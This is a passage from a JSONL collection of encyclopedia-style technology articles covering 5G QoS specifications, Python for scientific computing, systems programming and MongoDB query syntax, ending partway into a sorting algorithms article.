QoE even when latency or transport continuity are relatively poor. Even within AR, we can discern a variety of applications, each with its own QoE characteristics. \n\n\n### What are the relevant specifications that detail 5G QoS?\n\nAn overview of 5G QoS model and architecture is given in **TS 38.300**, section 12. A more detailed and complete description of QoS is in **TS 23.501**, section 5.7. These two documents are good starting points for beginners.\n\nFrom the perspective of 5G System (5GS) procedures, QoS details are covered in **TS 23.502**. QoS flow binding and parameter mapping are covered in **TS 29.513**. QoS Information Elements (IEs) are detailed in **TS 38.413**. \n\nThe mapping of QoS flows to Radio Bearers (RBs) is done at Service Data Adaptation Protocol (SDAP) sublayer, which is covered in **TS 37.324**. \n\n## Milestones\n\nDec  \n2017\n\n3GPP approves the first specifications for 5G, called \"early drop\" of **Release 15**. The focus of this release is Non-Standalone (NSA) mode of operation using Dual Connectivity (DC) between LTE and 5G NR. At this time, SDAP specification TS 37.324 is at v1.2.0 and not yet approved for Release 15. \n\nJun  \n2018\n\n**SDAP specification TS 37.324**, v15.0.0 is approved for Release 15. This date coincides with \"main drop\" of Release 15 specifications. This release enables Standalone (SA) mode of operation based on 5G Core. SDAP sublayer in gNB and UE maps QoS flows to DRBs.\n\nOct  \n2018\n\nModern application traffic, particularly concerning mobile devices, often pass through enterprise networks, the Internet and cellular mobile networks. Whereas 3GPP uses QoS Class Identifiers (QCIs) and 5G QoS Identifiers (5QIs), IETF uses Differentiated Services Code Point (DSCP) markings. Henry and Szigeti therefore publish an IETF Internet-Draft titled *Diffserv to QCI Mapping*. Version 04 of this draft is published in April 2020 but it expires in October 2020, without any further continuity. \n\nMar  \n2019\n\nSpecification **TS 23.501** is updated for Release 16. Among QoS-specific changes are Deterministic QoS for Time-Sensitive Communication (TSC); QoS support for Multi-Access PDU Session; and New 5QIs for Enhanced Framework for Uplink Streaming. \n\nApr  \n2020\n\nAs an example from an implementation perspective, we note Cisco's publication of document titled *Ultra Cloud Core 5G Session Management Function, Release 2020.02 - Configuration and Administration Guide*. This guide details the 5G QoS model and how it's managed by SMF. It explains default bearer QoS handling for 4G, 5G and Wi-Fi sessions.","meta":{"title":"5G Quality of Service","href":"5g-quality-of-service"}}
{"text":"# Python for Scientific Computing\n\n## Summary\n\n\nFortran has been the language of choice for many decades for scientific computing because of speed. In the 1980s, when a programmer's time was becoming more valuable than compute time, there was a need for languages that were easier to learn and use. For the purpose of research, code-compile-execute workflow gave way to interact-explore-visualize workflow. In this context were born MATLAB, IDL, Mathematica and Maple. \n\nModern scientific computing is not just about numerical computing. It needs to be versatile: deal with large datasets, offer richer data structures than just numerical arrays, make network calls, interface with databases, interwork with web apps, handle data in various formats, enable team collaboration, enable easy documentation. \n\nPython offers all of the above. It's been said that, \n\n> Python provides a balance of clarity and flexibility without sacrificing performance.\n\n## Discussion\n\n### What makes Python a suitable language for scientific computing?\n\nPython is not just suited for manipulating numbers. It offers a \"computational ecosystem\" that can fulfil the needs of a modern scientist. Python does well in system integration, in gluing together many different parts contributed by different folks. Python's duck typing is one of the reasons why this is possible. In terms of data types, `memoryview`, `PyCapsule` and NumPy's `array` aid scientific work. \n\nPython is easy to learn and use. It offers a natural syntax. This enables researchers to express and explore their ideas more directly rather than fight with low-level language syntax. \n\nWith Python, performance bottlenecks can be optimized at a low-level without sacrificing high-level usability. A researcher needs to explore and visualize ideas in an incremental manner. Python allows for this via IPython/Jupyter notebooks and matplotlib. A variety of Python tools can work together and share data within the same runtime environment without having to exchange data only via the filesystem. \n\n\n### I'm used to MATLAB. Why should I use Python?\n\nMATLAB is proprietary, expensive and hard to extend. Python is open, community-driven, portable, powerful and extensible. Python is also better with strings, namespaces, classes and GUIs. While MATLAB, along with Simulink, has vast libraries, Python is catching up as many scientific projects are adopting Python. MATLAB is said to be poor at scalability, complex data structures, memory handling, system tasks and database programming. \n\nHowever, there are some criticisms of Python (December 2013). Syntax is not consistent since different packages are written by different folks with different needs. There are two ordinary differential equation (ODE) solvers in scipy with incompatible syntax. Duplicated functionality across packages may result in confusion. MATLAB does better with data regression, boundary value problems and partial differential equations (PDE). \n\nIn 2014, Konrad Hinsen commented that Python may not be suitable for small-scale projects where code is written once and rarely maintained thereafter. This becomes a problem when Python scientific libraries are upgraded by deprecating older classes/functions/methods. \n\n\n### Should I worry about performance when using Python for scientific research?\n\nThe short answer is no. There are many initiatives that aim to make Python faster. PyPy and Pyston do just-in-time (JIT) compilation for better performance. Nuitka aims to replace the Python runtime to automatically transpile code to languages that run fast natively. Numba speeds up math-heavy Python code to native machine instructions with just a few annotations on your Python code. \n\nWhile pure Python code is definitely slower when compared to Fortran or C, scientific packages in Python often make use of low-level implementations that are themselves written in Fortran, C, etc. For example, NumPy operations often call BLAS or LAPACK functions that are written in Fortran. \n\nf2py is enabling Python to directly use Fortran implementations. SWIG and Cython allow us to make calls to optimized C/C++ implementations from within Python. For example, Cython is being used by scikit-learn. Intel Math Kernel Library (MKL) and PyCUDA are also bringing Python on par with Fortran on specific hardware platforms. \n\n\n### What are the essential packages for scientific computing in Python?\n\nHere are some packages that could be considered essential:  \n\n    + **numpy**: Multi-dimensional arrays and operations on them. Executes faster than Python.\n    + **scipy**: Linear algebra, interpolation, integration, FFT...\n    + **matplotlib**: Plotting and data visualization with an API similar to MATLAB. Eases transition from MATLAB to Python.\n    + **spyder**: An IDE that includes IPython (for interactive computing).\n    + **pandas**: Numerical data structures, data manipulation and analysis.\n    + **jupyter**: Web-based sharing of code, graphs, annotations and results.Most Python scientific packages are based on numpy and scipy. If visualization is involved, matplotlib may be used. For higher-level data structures, pandas may be used. Spyder, IPython and Jupyter are simply useful tools for the scientist or engineer.\n\n\n### Could you name some useful scientific projects/packages in Python?\n\nHere are some that can be applied to any domain:\n\n    + **Image processing**: Pillow, OpenCV, scikit-learn , Mahotas\n    + **Visualization**: matplotlib, bokeh, plotly, mayavi, seaborn , basemap, NetworkX\n    + **Markov chains**: Markov, MarkovNetwork, PyMarkov, pyEMMA, hmmus\n    + **Stochastic process**: stochastic, StochPy, sdeint\n    + **Solving PDEs**: FEniCS, SfePy\n    + **Convex Optimization**: CVXPY\n    + **Units and conversions**: quantities, pint\n    + **Multi-precision math**: mpmath, GmPy\n    + **Spatial analysis**: cartopy, georasters, PySAL, geopy\n    + **Data access**: pydap, cubes, Blaze, bottleneck, pytables\n    + **Machine learning**: scikit-learn, Mlpy, TensorFlow, Theano, Caffe, Keras\n    + **Natural Language Processing**: NLTK, TextBlob, spaCy, gensim, pycorenlp\n    + **Statistics**: statistics, statsmodels, patsy\n    + **Tomography**: TomoPy\n    + **Symbolic computing**: sympy\n    + **Simulations**: SimPy, BlockCanvas, railgun\n\n### Could you name some domain-specific scientific projects/packages in Python?\n\nSince there are dozens of packages for all types of scientific work, we can only give a sample:  \n\n    + **Solar data analysis**: SunPy\n    + **Astronomy**: astropy\n    + **Chemistry**: thermo, chemlab\n    + **Biology**: biopython\n    + **Neurosciences**: PsychoPy, NIPY\n    + **Life sciences**: DEAP\n    + **Network analysis**: NetworkX\n    + **Quantum dynamics**: QuTiP\n    + **Protein analysis**: ProDy\n    + **Neuron simulations**: NEURON\n    + **Seismology**: ObsPy\n    + **Phylogenetic computing**: DendroPy\n    + **Software defined radio**: GNU Radio\n\n### What's the recommended Python distribution for scientific computing?\n\nInstallation of Python for scientific work used to be a pain earlier but with modern distributions, this is no longer an issue. \n\nRather than install Python's standard distribution and then install scientific packages one by one, the recommended approach is to use an alternative distribution customized for scientific computing: Enthought Canopy, Anaconda, Python(x,y) or WinPython. Enthought Canopy is commercial but the rest are free. Enthought Canopy claims to include 450+ tested scientific and analytic packages. \n\nAnaconda distribution uses *conda* for package management. The use of virtual environments is recommended so that different projects can use their own specific environments. Powered by Anaconda, Intel offers its own distribution that's optimized for performance. \n\nSageMath is another distribution that offers a web-based interface and uses Jupyter notebooks. It aims to be the free open source alternative to Magma, Maple, Mathematica and Matlab.\n\n\n### As a beginner in scientific Python, what should be my learning path?\n\nFrom tools and environment perspectives, get familiar with using IPython, Jupyter Notebook and optionally Spyder.\n\nAfter learning the basics of Python, the next step is to learn numpy since it's the base for many scientific packages. With numpy, you can work with matrices and do vectorized operations without having to write explicit loops. You should learn about operations such as reshaping, transposing, filling, copying, concatenating, flattening, broadcasting, filtering and sorting. \n\nYou could then learn scipy to do optimization, linear algebra, integration, and so on. For visualization, matplotlib can be a starting point. For dealing with higher-level data structures and manipulation, learn pandas.\n\nIf you wish get into data science, scikit-learn and Theano can be starting points. For statistical modelling, you can learn statsmodels. \n\n\n### What useful developer resources are available for scientific computing in Python?\n\nOne good place to start learning is the SciPy Lecture Notes.\n\nSciPy Conference is an annual event for Python's scientific community. It also happens in Europe as EuroSciPy and in India as SciPy India. \n\nEarthPy is a collection of IPython notebooks for learning how to apply Python to Earth sciences.\n\nThe Hacker Within, Software Carpentry and Data Carpentry are some communities that bring together research and scientific folks. Although these are not exclusive to Python, Python programmers will find them useful.\n\n## Milestones\n\n1995\n\n*Numeric* is released to enable numerical computations. This is the ancestor of today's *NumPy*. \n\n2001\n\nMany scientific modules are brought together and released as a single package named *SciPy*. The same year, IPython is born. \n\n2002\n\n\"Python for Scientific Computing Workshop\" is organized at Caltech. In 2004, this is renamed as *SciPy Conference* and is now an annual event. In 2008, EuroSciPy is held for the first time. In 2009, 1st SciPy India is held. \n\n2005\n\nNumPy is released based on an older library named *Numeric*. It also combines features of another library named *Numarray*. NumPy is initially named *SciPy Core* but renamed to *NumPy* in January 2006. \n\nJul  \n2017\n\n*Anaconda Accelerate* is split into *Intel Distribution for Python* and open source Numba's sub-projects pyculib, pyculib\\_sorting and data\\_profiler.","meta":{"title":"Python for Scientific Computing","href":"python-for-scientific-computing"}}
{"text":"# Systems Programming\n\n## Summary\n\n\nSystems are built from hardware and software components. Systems programming is about implementing these components, their interfaces and the overall architecture. Individual components perform their prescribed functions and at the same time work together to form a stable and efficient system. \n\nSystems programming is distinct from application programming. System programs provide services to other software. Via abstractions, they expose API to simplify the development of applications. They're often optimized to low-level machine architecture. Unlike application software, most system software are not directly used by end users.  \n\nAssembly and C language have been historically used for systems programming.  Go, Rust, Swift and WebAssembly  are newer languages suited for systems programming.\n\n## Discussion\n\n### How is systems programming different from application programming?\n\nOperating systems, device drivers, BIOS and other firmware, compilers, debuggers, web servers, database management systems, communication protocols and networking utilities are examples of system software.   As part of operating systems, memory management, scheduling, event handling and many more essential functions are done by system software. Examples of application software are Microsoft Office, web browsers, games, and graphics software. \n\nApplication software generally don't directly access hardware or manage low-level resources. They do so via calls to system software. We may thus view system software as aiding application software with low-level access and management.  Application developers can therefore focus on the business logic of their applications.\n\nWhile application developers may not build system software, they can become better developers by knowing more about the design and implementation of system software. Specifically, by knowing and using system APIs correctly they can avoid implementing similar functions in their applications. \n\nFor example, a C application on UNIX/Linux calls the system API `getpid()`. The OS creates the process, allocates memory and assigns a process identifier. \n\n\n### What are the main concerns of systems programming?\n\nAn operating system such as Linux is a collection of system programs. These deal with files and directories, manage processes for executable programs, enable I/O for those programs and allocate/release memory as needed. The OS manages users, groups and associated permissions. The OS prevents normal user programs from executing privileged operations. The shell is a special system program that allows users to interact with the system. If processes need to communicate or respond to external events, signals (aka software interrupts) facilitate this. \n\nThere are systems programs that transform other programs into machine-level instructions for execution: compilers, assemblers, macro processors, loaders and linkers. Their aim is to generate instructions optimized for speed or memory. Use of registers, loops, data structures, and algorithms are considered in these system programs. \n\nProgramming languages, editors and debuggers are also system programs. These are tools to write good and reliable system programs. They have to be easy to learn and productive for a developer while also being efficient and safe from a system perspective.  \n\n\n### Is a system programmer same as a system administrator?\n\nA system programmer is one who write system software and this task is called system programming or systems programming. But there's an older definition that's been used in the context of mainframes since the 1960s.\n\nOn a mainframe, a system programmer installs, upgrades, configures and maintains the operating system. She does capacity planning and evaluates new products. She's also skilled in optimizing the system for performance, troubleshooting problems and analyzing memory dumps. \n\nOn the other hand, a system administrator handles day-to-day operations such as adding/removing users, configuring access, installing software, and monitoring performance. She deals with applications whereas a system programmer is more well-versed with the mainframe hardware. \n\nIn small IT organizations, both roles may be performed by a single individual. \n\n\n### What languages are suited to systems programming?\n\nWikipedia lists more than a dozen languages: C/C++, Ada, D, Nim, Go, Rust, Swift, and more. Notably, the following popular languages are absent: JavaScript, Java, C#, Python, Visual Basic, PHP, Perl, and Ruby. Implemented in Haskell, COGENT is a functional programming language that's also suited for systems programming. \n\nSystem programming languages are required to provide direct access to hardware including memory and I/O access. Performance, explicit memory management and fine-grained control at bit level are essential capabilities. Where they also offer high-level programming constructs, system programming languages (C, Rust, Swift, etc.) are also used for application programming. \n\nSince such languages give access to low-level hardware functions, there's a risk of introducing bugs. Rust was created to balance aspects of both safety and control. C sacrifices safety for control while Java does the opposite. \n\nScripting languages such as Python, JavaScript and Lua are not for systems programming. However, the introduction of static typing (for safety) and Just-in-Time (JIT) compilation (for speed) has seen these languages being used for systems programming. \n\n\n### What's systems programming in the context of the web?\n\nOn the web, applications adopt the client-server architecture. Server-side logic may be implemented as many microservices distributed on a cloud platform. Applications make use of APIs served by different endpoints. In this context, we have systems programs that help create distributed applications for the cloud. System programs must be designed to address network topology changes, security concerns, high latency, and poor network connections. \n\nRob Pike commented that developers thought that Go was for systems programming. In fact, it was for writing any server-side code. Later he saw anything running on the cloud as systems software. Ousterhout commented in 1998 that on the web Java was being used for systems programming. \n\nBunardzic commented that \"the only way to program a system is to program a network\". Systems should be designed for concurrency, fault encapsulation/detection/recovery, upgrade without downtime, observability, and asynchronous communication. Developers who use system services and APIs must be free to choose their own technology stack. One service shouldn't depend on others. \n\n\n### What are the best practices in systems programming?\n\nA systems programmer needs to know the system APIs well. In addition, she should know how the OS kernel, programs and users interact with one another. \n\nDesigning a good system is not a one-time task. The system should be designed for iteration and incremental improvements. System designers must be open to feedback. Historically, many Linux system programmers blamed application developers for program crashes instead of seeing these as opportunities to improve the Linux kernel or system tools. \n\nAll assumptions must be made explicit. Systems software should get the abstractions right, minimize if not avoid leaky abstractions. In other words, its users shouldn't need to know implementation details. For instance, ORM frameworks that interface between applications and databases are often leaky due to a conceptual mismatch between objects and relations. \n\nBefore implementation, it's beneficial to do system modelling, analysis and simulations. Unified Modelling Language (UML) can help. Small and simple systems are amenable to formal analysis. Anything else, we need to apply statistical analysis. More components there are, more complex becomes the system. \n\n## Milestones\n\n1960\n\nTill early and even mid-1960s, the first concern in designing computer systems is the hardware itself. Programming them becomes a secondary concern. Programming techniques are chaotic. Often they're not as intended by the hardware designers. Systems programming as a discipline is only starting to emerge. \n\n1966\n\nShaw considers assemblers, interpreters, compilers, and monitors as **translators**; that is, they translate code in one form to another. Referring to the figure, translator T translates A to B. He defines the following,\n\n> Systems Programming is the science of designing and constructing translators.\n\nOct  \n1968\n\nAt the NATO Conference on Software Engineering, the merits of **high-level languages** are discussed: cost, maintainability, correctness. System programmers however object to high-level languages. They don't like anything to get in between themselves and the machine. Reconciling these two concerns is the main challenge in design a suitable systems programming language. \n\n1969\n\n**Unix** operating system is invented at Bell Laboratories, first in assembly on PDP-7 (1969) and subsequently migrated to C on PDP-11 (1971). A decade later one of its inventors, Dennis Ritchie, comments that only the assembler is still written in assembler. Most other system programs are written in C language. \n\n1971\n\nResearchers at the Carnegie-Mellon University invent a new systems programming language that they name **BLISS**. They describe it as a general purpose high-level language for writing large software systems for specific machines. They enumerate the requirements of any good systems programming language: space/time economy, access to hardware features, data structures, control structures, understandability, debugging, etc. The figure shows an example of how BLISS enables bit-level access. Such low-level access is typical of systems software. \n\n1984\n\nWeicker proposes **Dhrystone as a benchmark** for systems programming. Currently we have the Whetstone benchmark that's tuned to measure floating-point arithmetic. Systems programs often use enumerations, records and pointer data types. Compared to numerical programs, systems programs have fewer loops, simpler compute statements, more conditional branching and more procedure calls. The Dhrystone benchmark accounts for these. \n\n1986\n\nAn IBM research report details the challenges and pitfalls in programming for a multi-CPU and multi-threaded environment. They refer to the System/370 architecture. Shared memory and data structures have to be handled carefully. Therefore, **parallelism** is a new concern for systems programming. However, multi-programming was considered in the design of Unix back in the early 1970s. \n\n1990\n\nThis decade sees the wide adoption of **scripting languages** such as Perl, Tcl, Ruby, PHP, Python and JavaScript. They're seen as languages that \"glue together\" various components whereas systems programming languages are used to create those components. In the 2010s, the boundaries blur as some scripting languages are used to build large systems software. \n\n1992\n\nWolfe proposes changes to how systems programming must be taught to students. The curriculum would include small challenges in various aspects of systems programming and not just focus on assemblers and compilers. Currently, students perceive systems programming as boring, the techniques themselves stale, and the courses disconnected from systems programming jobs out there. \n\n2005\n\nBrewer et al. note that 35 years after the invention of C language, we still don't have a suitable alternative for systems programming. Shapiro voices a similar complaint in 2006. Advances in programming languages have not motivated systems programmers to adopt them. \n\n2009\n\nMozilla begins sponsoring the development of **Rust**. Rust is announced to the world in 2010. The first stable release of the language happens in May 2015. Today Rust is well-recognized as a systems programming language. \n\n2019\n\nCrichton at Stanford University proposes that students of programming languages must be taught systems programming. Courses must not be about theory and formal methods alone. They should include practical programming while also providing effective mental models of computation and formal reasoning. He includes WebAssembly and Rust in the proposed curriculum.","meta":{"title":"Systems Programming","href":"systems-programming"}}
{"text":"# MongoDB Query Language\n\n## Summary\n\n\nWhereas relational databases are queried using Structured Query Language (SQL), MongoDB can be queried using MongoDB Query Language (MQL). It's the interface by which clients can interact with the MongoDB server. Developers and database administrators can write MQL commands interactively on the MongoDB Shell. For client applications, drivers are available in popular programming languages to execute MQL commands.\n\nMQL supports CRUD operations. Results can be sorted, grouped, filtered, and counted via aggregation pipelines.  Special operations such as text search and geospatial queries are possible. Multi-document transactions are supported. \n\nThis article covers MongoDB Shell commands except aggregations. Commands in Node.js are similar. For commands in other languages, refer to the documentation of language-specific drivers. This article doesn't cover administrative commands that relate to users, backups, replica sets, sharded clusters, etc.\n\n## Discussion\n\n### What are the basic commands to get started with MQL?\n\nStart by launching the MongoDB Shell `mongosh`. Type `help()` to see a list of **shell commands**. Here are some useful commands: `show databases`, `show collections` (of current database), `use <db-name>` (to switch to a database), `version()` (for shell version), `quit` and `exit`. \n\nThe `Database` class has many methods. View them with the command `db.help()`. Here are some useful methods: `getMongo()` (get current connection), `getCollectionNames()`, `createCollection()`, `dropDatabase()`, and `stats()`. \n\nThe `Collection` class has many methods. View them with the command `db.coll.help()`. Here are some useful methods: `insert()`, `find()`, `update()`, `deleteOne()`, `aggregate()`, `count()`, `distinct()`, `remove()`, `createIndex()`, `dropIndex()`, and `stats()`. \n\nThe command syntax is same as JavaScript. Commands can be saved into a JavaScript file and executed using the `load()` command. \n\n\n### Could you introduce the commands for CRUD operations in MongoDB?\n\nDatabase operations are conveniently referred to as *CRUD (Create, Read, Update, Delete)*. MongoDB supports CRUD with the following methods of `Collection` class: \n\n    + **Create**: Add documents to a collection. Methods include `insertOne()` and `insertMany()`. If the collection doesn't exist, it will be created. Unique `_id` field is automatically added to each document if not specified in the method calls.\n    + **Read**: Retrieve documents from a collection. Main method is `find()`, called with query criteria (how to match documents) and projection (what fields to retrieve).\n    + **Update**: Modify existing documents of a collection. Methods include `updateOne()`, `updateMany()` and `replaceOne()`. Method calls include query criteria and what to update.\n    + **Delete**: Remove documents from a collection. Methods include `deleteOne()` (first matching document is deleted) and `deleteMany()`, called with query criteria.It's also possible to insert new documents with the option `upsert: true`. Some methods that do this are `update()`, `updateOne()`, `updateMany()`, `findAndModify()`, `findOneAndUpdate()`, `findOneAndReplace()`, and `bulkWrite()`. \n\n\n### How do I find documents in a MongoDB collection?\n\nThe main method is `find(query, projection)`. Query parameter specifies the filter. If omitted, all documents returned. Projection parameter specifies what fields to retrieve. If omitted, all fields are retrieved. The method returns a cursor to the documents. Method `findOne(query, projection)` returns the first matching document, not a cursor. \n\nHere are some sample commands on a collection named `people`: \n\n    + `db.people.find()`: Retrieve all fields of all documents.\n    + `db.people.find({status: \"A\", {age: {$gt: 25}}})`: Retrieve all fields of documents of status 'A' and age exceeding 25. Multiple query fields are combined with `$and` operator by default.\n    + `db.people.find({}, {user_id: 1, status: 1, _id: 0})`: Retrieve only two fields of all documents.\n    + `db.people.find({$or: [{status: \"A\"}, {age: {$gt: 25, $lte: 50}}] })`: A complex filter specifying status 'A' or age within a range.\n    + `db.people.find({status: {$ne: \"A\"}).sort({age: 1}).skip(10).limit(5)`: Filter, sort, skip and limit the results.Comparison operators include `$eq`, `$gt`, `$gte`, `$in`, `$lt`, `$lt`, `$lte`, `$ne`, and `$nin`. Logical operators include `$and`, `$not`, `$nor` and `$or`. \n\nSince MongoDB is schema-less, documents may include only some fields or fields of differing types. Operators `$exists` and `$type` check if field exists and if the type matches. \n\n\n### How do I write queries when arrays are involved?\n\nConsider an inventory collection with two array fields `tags` and `dim_cm`. Here are some example queries: \n\n    + `db.inventory.find({ tags: [\"red\", \"blank\"] })`: Documents with both 'red' and 'blank' tags. Order of tags matters.\n    + `db.inventory.find({ tags: { $all: [\"red\", \"blank\"] } })`: As above, but order of tags doesn't matter.\n    + `db.inventory.find({ tags: \"red\" })`: Documents tagged 'red'.\n    + `db.inventory.find({ dim_cm: { $gt: 15, $lt: 20 } })`: Documents where both conditions are satisfied but not necessarily by the same array item.\n    + `db.inventory.find({ dim_cm: { $elemMatch: { $gt: 15, $lt: 20 } } })`: Documents where both conditions are satisfied by the same array item.\n    + `db.inventory.find({ \"dim_cm.1\": { $gt: 25 } })`: Second item of array satisfies the condition.\n    + `db.inventory.find({ tags: { $size: 3 } })`: Documents with exactly three tags.Operators `$in` and `$nin` check presence or absence in an array. For example, `db.inventory.find({dim_cm: {$in: [15, 18, 20]}})` finds documents with specific dimensions.\n\n\n### How do I find documents based on values in nested documents?\n\nIt's possible to find documents based on the content of inner documents, either with a full or a partial match. Assume documents with the field `size` that itself is a document with fields `h`, `w` and `uom`. Here are some examples: \n\n    + `db.inventory.find({ size: { h: 14, w: 21, uom: \"cm\" } })`: Exact document match. Field order matters.\n    + `db.inventory.find({ \"size.h\": { $lt: 15 } })`: Nested field query.Assume documents with the field `instock` that's an array of documents. Here are some examples: \n\n    + `db.inventory.find({ \"instock\": { warehouse: \"A\", qty: 5 } })`: At least one item in array matches the query. Field order matters.\n    + `db.inventory.find({ 'instock.qty': { $lte: 20 } })`: Nested field query. At least one item in array matches the query.\n    + `db.inventory.find({ 'instock.0.qty': { $lte: 20 } })`: Check the first item in array.\n    + `db.inventory.find({ \"instock.qty\": 5, \"instock.warehouse\": \"A\" })`: Two nested fields but they need not match the same item within the array.\n    + `db.inventory.find({ \"instock\": { $elemMatch: { qty: 5, warehouse: \"A\" } } })`: Two nested fields and both should match at least one item within the array.\n\n### Could you share more details about MongoDB projection?\n\nThe projection parameter is used in `find()` and `findOne()` methods. It controls what fields are sent by MongoDB to the application. It contains field-value pairs. Values can be boolean (1 or true, 0 or false), array, meta expression or aggregation expression. \n\nThe `_id` field is always included in returned documents unless explicitly suppressed with `_id: 0`. \n\nHere are some examples of projections:  \n\n    + `db.inventory.find({status: \"A\"}, {item: 1, _id: 0})`: Retrieve only `item`. Suppress `_id`.\n    + `db.inventory.find({}, {status: 0, instock: 0})`: Retrieve all fields except `status` and `instock`.\n    + `db.inventory.find({}, {\"size.uom\": 1})`: Given `size` is a nested document, retrieve `_id` and nested field `size.uom`. An alternative form is `db.inventory.find({}, {size: {uom: 1}})`.\n    + `db.inventory.find({}, {_id: 0, \"instock.qty\": 1})`: Given `instock` is an array of documents, retrieve only the `instock.qty` field.\n    + `db.inventory.find({}, {instock: {$slice: -2}})`: Retrieve only the last two items of `instock` and all other fields of inventory.\n    + `db.inventory.find({}, {instock: {$slice: [3, 5]}})`: Retrieve five items after skipping first three items of `instock`. Include all other fields of inventory since no explicit inclusion is specified.\n    + `db.inventory.find({}, {total: {$sum: \"$instock.qty\"}})`: Using aggregation expression in projection, get total stock quantity in each document.\n\n### What are cursor methods in MongoDB?\n\nCursor methods modify the execution of the underlying query. Since the collection method `find()` returns a cursor, we can list all cursor methods on the shell by calling `db.coll.find().help()`.\n\nHere are a few examples, some showing how to chain method calls: \n\n    + `db.products.find().count()`: Return number of documents rather than the documents themselves.\n    + `db.products.find().limit(2)`: Limit results to first two documents.\n    + `db.products.find().min({price: 2}).max({price: 5}).hint({price: 1})`: Query only documents within the specified index range. Index `{price: 1}` must exist.\n    + `db.products.find().pretty()`: Show results in a user-friendly format.\n    + `db.products.find().sort({price: 1, qty: -1})`: Sort by price and then reverse sort by quantity.\n    + `db.people.find().skip(3).limit(5)`: Skip first three documents and show only the next five.\n\n### What are the update operators in MongoDB?\n\nThere are three groups of update operators:\n\n    + **Field Update**: Operators include `$currentDate` (Date or Timestamp), `$inc` (increment), `$min` (updates only if it's less than current field value), `$max` (updates only if it exceeds current field value), `$mul`, `$rename`, `$set`, `$setOnInsert` (only if update results in an insert), and `$unset`.\n    + **Array Update**: Operators include `$`, `$[]`, `$[<identifier>]`, `$addToSet`, `$pop` (-1 to remove first item, 1 to remove last item), `$pull` (removes items based on a query condition), `$push` (append to array), and `$pullAll` (removes items based on a list of values). Operator modifiers include `$each`, `$position`, `$slice` and `$sort`.\n    + **Bitwise Update**: The only operator is `$bit`. It supports AND, OR and XOR updates of integers.\n\n### As a SQL developer, how do I get started with MongoDB Query Language?\n\nSQL's `(tables, rows, columns)` map to MongoDB's `(collections, documents, fields)`. SQL's `GROUP BY` aggregations are implemented via aggregation pipelines in MongoDB. Many other features such as primary keys and transactions are equivalent though not the same. \n\nIn SQL, we can drop or add columns to a table. Since MongoDB is schema-less, these operations are not important. However, it's possible to add or drop fields using the method `updateMany()`. \n\nSQL developers can refer to these useful guides:\n\n    + SQL to MongoDB Mapping Chart\n    + SQL to Aggregation Mapping Chart\n    + Logan's Gist on SQL to MongoDB Mapping Chart\n\n\n## Milestones\n\nFeb  \n2009\n\n**MongoDB 1.0** is released. By August, this version becomes generally available for production environments. \n\nMar  \n2010\n\nMongoDB 1.4 is released. Among the improvements are `$all` with regex, `$not`, `$` operator for updating arrays, `$addToSet`, `$unset`, `$pull` with object matching, and `$set` with array indexes. \n\nAug  \n2012\n\nMongoDB 2.2 is released. Projection operator `$elemMatch` is introduced. It returns only the first matching element in an array. For bulk inserts, it's now possible to pass an array of documents to `insert()` in the shell. \n\nMar  \n2015\n\nMongoDB 3.0 is released. This includes a new **query introspection system** towards query planning and execution. Command `explain` and methods `cursor.method()` and `db.collection.explain()` are relevant here. \n\nDec  \n2015\n\nMongoDB 3.2 is released. Query operators to test bit values are introduced: `$bitsAllSet`, `$bitsAllClear`, `$bitsAnySet`, `$bitsAnyClear`. Many CRUD methods on Collection class are added to correspond to drivers' APIs: `bulkWrite()`, `deleteMany()`, `findOneAndUpdate()`, `insertOne()`, and many more. **Query modifiers** are deprecated in the shell. Instead, **cursor methods** should be used. \n\nNov  \n2016\n\nMongoDB 3.4 is released. Type `decimal` for 128-bit decimal is introduced. To support language-specific rules for string comparison, **collation** is introduced. \n\nNov  \n2017\n\nMongoDB 3.6 is released. With `arrayFilters` parameter, we can selectively update elements of an array field. Positional operators `$[]` and `$[<identifier>]` allow multi-element array updates. For `$push` operator, `$position` modifier can be negative to indicate position from end of an array. Deprecated `$pushAll` operator is removed. New query operators include `$jsonSchema` and `$expr`. MongoDB shell now supports sessions. \n\nAug  \n2019\n\nMongoDB 4.2 is released. We can now use the **aggregation pipeline for updates**. **Wildcard indexes** support queries against fields whose names are unknown or arbitrary. Some commands (`group`, `eval`, `copydb`, etc.) are removed. \n\nJul  \n2020\n\nMongoDB 4.4 is released. Projections in `find()` and `findAndModify()` are made consistent with `$project` aggregation stage. Method `sort()` uses the same sorting algorithm as `$sort` aggregation stage. Compound hashed indexes and hidden indexes are introduced. \n\nJul  \n2021\n\nMongoDB 5.0 is released. It provides better support for field names that are `$` prefixed or include `.` characters.","meta":{"title":"MongoDB Query Language","href":"mongodb-query-language"}}
{"text":"# Sorting Algorithms\n\n## Summary\n\n\nSorting is defined as the rearrangement of the given data in a particular order. This order can be related to numerical values i.e. ascending or descending order, alphabetical i.e. case sensitive or insensitive and can be based on length of the string or on different coding styles like ascii or unicode. \n\nSorting is an extra step that is carried out to increase the efficiency of the operation that is being performed. For example: sorting a data structure like an array in advance may speed up a search operation. Also, it is necessary for some algorithms to function, for example, binary search works only on sorted data. \n\nWe have a variety of sorting algorithms ranging from bubble sort, selection sort, merge sort, quick sort, counting sort, radix sort, etc. Each one of them has its own set of weaknesses and strengths, based on which they can be employed by the developers.\n\n## Discussion\n\n### Why do we need sorting?\n\nIn school, the children of a class are sorted in the increasing order of height while standing in a queue for the morning assembly. Similarly, the attendance register has the names of children sorted in alphabetical order. The telephone directories also have the contact numbers sorted by owner's name alphabetically. The sorted data is preferred over unsorted data because it is easier to handle and search for. \n\nSmall amount of data, a class of 60 in school, can be manually sorted but large data, for example, employee data in big company cannot be sorted manually. So, several sorting algorithms came into existence that could help human sort the data in seconds.\n\nThe data can be sorted in various ways like an ascending order, descending order, alphabetical order (in case of names). It can also be sorted using multiple keys for example sorting the employee data first by their respective department and then in an alphabetical order. \n\nSorting optimizes the efficiency of various algorithms like searching and merging, etc. Some algorithms like Prim's algorithm , Kruskal's algorithm, dijkstra's algorithm require the data to be already sorted before they could be applied.\n\n\n### What are various properties of a sorting algorithm?\n\nA sorting algorithm has different properties like:\n\nInplace or not: An in-place sorting algorithm does not use any extra space to arrange the given elements in order i.e. sorts the elements by swapping them. For example: insertion sort, selection sort, etc.\n\nStability: A stable sorting algorithm keeps the equal elements in same order as in the input. For example: insertion sort, merge sort, bubble sort, etc.\n\nComparison-based or not: As the word suggests, a comparison-based algorithm compares elements to each other to sort them like bubble sort, insertion sort, selection sort, etc. The non-comparison based sorting algorithms work on assumptions like counting sort, bucket sort and do not sort using comparison operator. \n\nInternal or External: Internal sorting can be carried out while residing in the computer's memory whereas when there are a large number of elements external 